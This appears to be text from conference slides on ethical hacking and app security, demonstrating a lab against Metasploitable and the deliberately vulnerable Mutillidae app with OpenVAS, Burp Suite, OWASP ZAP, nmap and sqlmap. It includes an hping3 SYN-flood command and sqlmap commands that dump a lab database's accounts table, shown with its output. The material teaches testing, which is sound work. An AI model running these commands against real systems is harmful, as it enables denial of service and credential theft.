- `hping3 -S --flood -V 192.168.99.id`

# Data Security lifecycle



# Privacy: KPMG Data life cycle



# HACK THIS SITE.ORG

with **netsparker** Web Security Scanner

[\[Advertise With HackThisSite.org\]](#)

" I think the very concept of an elite commission deciding for the American people who deserves to be heard is profoundly wrong." --former Congress the "Commission on Presidential Debates"

 You are browsing HackThisSite over SSL

Hello, [rohitnfs](#)  
[Settings](#) - [Logout](#)

[Skin Chooser](#)

[Private Messages](#)  
[HTS Messages Center](#)  
You have 0 new messages.

[Donate](#)

 **DONATE**

HTS costs up to \$300 a month to operate. We need your help!

[Challenges](#)



Basic test of your skills to see if you can do any of these missions. Requirements:


[Basic 1](#)



A slightly more difficult challenge, involving an incomplete password script. Requirements:  
Common sense.

[Basic 2](#)





# Recap

- Ethical Hacking
- Threat Modeling
- Static Analysis
  - SEI CERT Coding Standards
- Dynamic Analysis
  - OWASP Top 10
- Ethical Hacking Steps





Image hosted by WittySparks.com



# MOBILE THREAT AGENT IDENTIFIER & TYPES

Thief/ Stolen Device User



Codes

Sends

Browser  
Exe Script

Executes

Reads

Application  
Memory

App

Installed  
Malware App

Wifi / GSM

Decompilation

Sniffs

SMS



Sends



Attacker

Device User





# Attacks

“84% of all cyber-attacks are happening on the application layer”


SAP

“90% of security incidents result from exploits against defects in software”

Department of Homeland Security



# Privacy: KPMG Data life cycle



Thank you.

saltmarch  
MEDIA

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MOBILE & DISRUPTIVE  
TECHNOLOGY SUMMIT

[www.modsummit.com](http://www.modsummit.com)



Additional bonus if time  
allows

# OpenVAS

- Scanning
- `apt-get install openvas`

<https://www.kali.org/penetration-testing/openvas-vulnerability-scanning/>

Filter:

apply\_overrides=1 rows=10 first=1 sort=name

Name	Status	Reports		Severity	Trend	Actions
		Total	Last			

(Applied filter: apply\_overrides=1 rows=10 first=1 sort=name) (total: 0)

**Welcome dear new user!**  
To explore this powerful application and to have a quick start for doing things the first time, I am here to assist you with some hints and short-cuts.  
  
I will appear automatically in areas where you have created no or only a few objects. And disappear when you have more than 3 objects. You can call me with this icon any time later on.



**Quick start: Immediately scan an IP address**  
IP address or hostname:

For this short-cut I will do the following for you:

1. Create a new Target with default Port List
2. Create a new Task using this target with default Scan Configuration
3. Start this scan task right away
4. Switch the view to reload every 30 seconds so you can learn

Vulnerability	Severity	QoD	Host	Location	Actions
OS End Of Life Detection	10.0 (High)	80%	192.168.99.100	general/tcp	 
TWiki XSS and Command Execution Vulnerabilities	10.0 (High)	80%	192.168.99.100	80/tcp	 
Check for rexecd Service	10.0 (High)	80%	192.168.99.100	512/tcp	 
Possible Backdoor: Ingreslock	10.0 (High)	99%	192.168.99.100	1524/tcp	 
NFS export	10.0 (High)	70%	192.168.99.100	2049/udp	 
X Server	10.0 (High)	80%	192.168.99.100	6000/tcp	 
Distributed Ruby (dRuby/DRb) Multiple Remote Code Execution Vulnerabilities	10.0 (High)	99%	192.168.99.100	8787/tcp	 
distcc Remote Code Execution Vulnerability	9.3 (High)	99%	192.168.99.100	3632/tcp	 

# METASPLOITABLE



<https://sourceforge.net/projects/metasploitable/>  
<https://community.rapid7.com/docs/DOC-1875>

<https://i.ytimg.com/vi/x9hd-ZIavjY/hqdefault.jpg>

Metasploitable-2 - Network



General



System



Display



Storage



Audio



Network



Ports



Shared Folders



User Interface

Adapter 1

Adapter 2

Adapter 3

Adapter 4

Enable Network Adapter

Attached to: Host-only Adapter

Name: vboxnet0

Advanced

Adapter Type: Intel PRO/1000 MT Desktop (82540EM)

Promiscuous Mode: Allow All

MAC Address: 08002763CAFF

Cable Connected

Port Forwarding



Cancel

OK

```
Metasploitable2-Linux - VMware Player  File  Virtual Machine  Help  _  □  X
File: config.inc  Col 0  173 bytes  100%
<?php
    /* NOTE: On Samurai, the $dbpass password is "samurai" rather than blank
    */


    $dbhost = 'localhost';
    $dbuser = 'root';
    $dbpass = '';
    $dbname = 'owasp10';
?>
```

1 Help 2 UnWrap 3 Quit 4 Hex 5 Line 6 RxSrch 7 Search 8 Raw 9 Unform 10 Quit

To direct input to this virtual machine, press Ctrl+G.

vmware

Database -"metasploit" is empty.You need to change one line in / var /  
www / mutillidae / config.inc - \$ dbname = "owasp10"



# Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

[Home](#) [Login/Register](#) [Toggle Hints](#) [Toggle Security](#) [Reset DB](#) [View Log](#) [View Captured Data](#)

- Core Controls
- OWASP Top 10
- Others
- Documentation
- Resources

**Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10**

### Latest Version / Installation

- [Latest Version](#)
- [Installation Instructions](#)
- [Usage Instructions](#)
- [Get rid of those pesky PHP errors](#)
- [Change Log](#)
- [Notes](#)



Site

hacked...err...quality-tested with Samurai WTF, Backtrack,

Samurai WTF and Backtrack contains all the tools needed or you may build your own collection



? **Application Login**

⚙ These settings control how the Spider submits login forms.

- Don't submit login forms
- Prompt for guidance
- Handle as ordinary forms
- Automatically submit these credentials:

Username:

Password:

# Burp Suite Free Edition v1.7.03 - Temporary Project

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options

Site map Scope

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

Host	Method	URL
http://192.168.99.100	GET	/mutillidae/
http://192.168.99.100	GET	/mutillidae/?page=add-to-your-blog.php
192.168.99.100	GET	/mutillidae/?page=credits.php
192.168.99.100	GET	/mutillidae/?page=login.php
192.168.99.100	GET	/mutillidae/?page=register.php
192.168.99.100	GET	/mutillidae/?page=show-log.php
192.168.99.100	GET	/mutillidae/?page=source-viewer.php
192.168.99.100	GET	/mutillidae/?page=text-file-viewer.php
192.168.99.100	GET	/mutillidae/?page=user-info.php
192.168.99.100	GET	/mutillidae/?page=view-someones-blog.php

Host	Method	URL
http://192.168.99.100	GET	/mutillidae/
http://192.168.99.100	GET	/mutillidae/?page=add-to-your-blog.php
192.168.99.100	GET	/mutillidae/?page=credits.php
192.168.99.100	GET	/mutillidae/?page=login.php
192.168.99.100	GET	/mutillidae/?page=register.php
192.168.99.100	GET	/mutillidae/?page=show-log.php
192.168.99.100	GET	/mutillidae/?page=source-viewer.php
192.168.99.100	GET	/mutillidae/?page=text-file-viewer.php
192.168.99.100	GET	/mutillidae/?page=user-info.php
192.168.99.100	GET	/mutillidae/?page=view-someones-blog.php

**http://192.168.99.100/mutillidae**

- Add to scope
- Spider this branch
- Actively scan this branch
- Passively scan this branch
- Engagement tools [Pro version only]
- Compare site maps
- Expand branch
- Expand requested items
- Delete branch
- Copy URLs in this branch
- Copy links in this branch
- Save selected items
- Show new site map window
- Site map help

Headers	Hex
mutillidae/ HTTP/1.1	
192.168.99.100	
Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0	
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.5	
Accept-Language: en-US,en;q=0.5	
Accept-Encoding: gzip, deflate	
Connection: close	
If-Modified-Since: Thu, 01 Dec 2016 18:49:37 GMT	

## Burp Suite Free Edition v1.7.03 - Temporary Project

Burp Intruder Repeater Window Help

Target Proxy **Spider** Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

**Control** Options

### ? Spider Status

Use these settings to monitor and control Burp Spider. To begin spidering, browse to the target application, then right-click one or more nodes "Spider this host / branch".

Spider is running

Clear queues

Requests made: 158

Bytes transferred: 3,556,066

Requests queued: 0

Forms queued: 0

### ? Spider Scope

Use suite scope [defined in Target tab]

Use custom scope

# OWASP ZAP

The screenshot displays the OWASP ZAP 2.5.0 interface. The main window shows a web session titled "Untitled Session - 20161203-193816 - OWASP ZAP 2.5.0". The interface is divided into several panes:

- Left Pane:** A tree view showing the site structure. The selected item is "GET:index.php" under the "mutillidae" site.
- Right Pane (Header/Body):** Displays the HTTP response for the selected request. The status is "HTTP/1.1 200 OK". The body contains a comment in green text: "*<!-- I think the database password is set to blank or perhaps samura1. It depends on whether you installed this web app from irongeeks site or are using it inside Kevin Johnsons Samura i web testing framework. It is ok to put the password in HTML.com*
- Bottom Left Pane:** A list of alerts. The "Alerts (8)" section is expanded, showing various security issues with their counts: Path Traversal (9), Application Error Disclosure (2), X-Frame-Options Header Not Set (70), Cookie No HttpOnly Flag (160), Password Autocomplete In Browser (9), Private IP Disclosure (45), Web Browser XSS Protection Not Enabled (70), and X-Content-Type-Options Header Missing (70).
- Bottom Right Pane:** A text area providing instructions on how to add and edit alerts.

At the bottom of the interface, there is a status bar showing "Alerts 1 2 5 0" and "Current Scans 0 0 2 0 0 0 0 0".

Full details of any selected alert will be displayed here.

You can manually add alerts by right clicking on the relevant line in the history and selecting 'Add alert'.

You can also edit existing alerts by double clicking on them.



# Mutilidae: Born to be Hacked

Version: 2.1.19

Security Level: 1 (Arrogent)

Hints: Disabled (0 - I try harder)

Not Logged In

[Home](#)

[Login/Register](#)

[Toggle Security](#)

[Reset DB](#)

[View Log](#)

[View Captured Data](#)

Core Controls ▶

OWASP Top 10 ▶

Others ▶

Documentation ▶

Resources ▶



Site

hacked...err...quality-  
tested with Samurai  
WTF, Backtrack,  
Firefox, Burp-Suite,  
Netcat, and [these  
Mozilla Add-ons](#)

## View your details



[Back](#)

**Please enter username and password  
to view account details**

Name

Password

[View Account Details](#)

*Don't have an account? [Please register here](#)*

Filter: Hiding CSS, image and general binary content

#	Host	Method	URL
163	http://192.168.99.100	GET	/mutillidae/in
164	http://192.168.99.100	GET	/mutillidae/in
165	http://192.168.99.100	GET	/mutillidae/in

```
GET /mutillidae/index.php?page=user-info.php&username=name&password=name&user-info-php-submit-button=View+Account+Details HTTP/1.1
Host: 192.168.99.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.99.100/mutillidae/index.php?page=user-info.php
Cookie: PHPSESSID=ab8f29817110319ef9c276d134a27c13
Connection: close
If-Modified-Since: Fri, 02 Dec 2016 20:37:07 GMT
```

Choose a file to save to

Look In:

- request.txt

File Name:

Files of Type:

# SQL Injection

- `sqlmap -r /root/Burp\ Suite/request.txt --dbs`
- `sqlmap -r /root/Burp\ Suite/request.txt -D owasp10 --tables`
- `sqlmap -r /root/Burp\ Suite/request.txt -D owasp10 -T accounts --dump`

# SQL Injection using SQLMap

cid	username	is_admin	password	mysignature
1	admin	TRUE	adminpass	Monkey!
2	adrian	TRUE	somepassword	Zombie Films Rock!
3	john	FALSE	monkey	I like the smell of confunk
4	jeremy	FALSE	password	d1373 1337 speak
5	bryce	FALSE	password	I Love SANS
6	samurai	FALSE	samurai	Carving Fools
7	jim	FALSE	password	Jim Rome is Burning
8	bobby	FALSE	password	Hank is my dad
9	simba	FALSE	password	I am a cat
10	dreveil	FALSE	password	Preparation H
11	scotty	FALSE	password	Scotty Do
12	cal	FALSE	password	Go Wildcats
13	john	FALSE	password	Do the Duggie!
14	kevin	FALSE	42	Doug Adams rocks
15	dave	FALSE	set	Bet on S.E.T. FTW
16	ed	FALSE	pentest	Commandline KungFu anyone?



# Internal Network testing

- `nmap -A -v -T4 -oA nmapMetasploitable 192.168.99.xxx`

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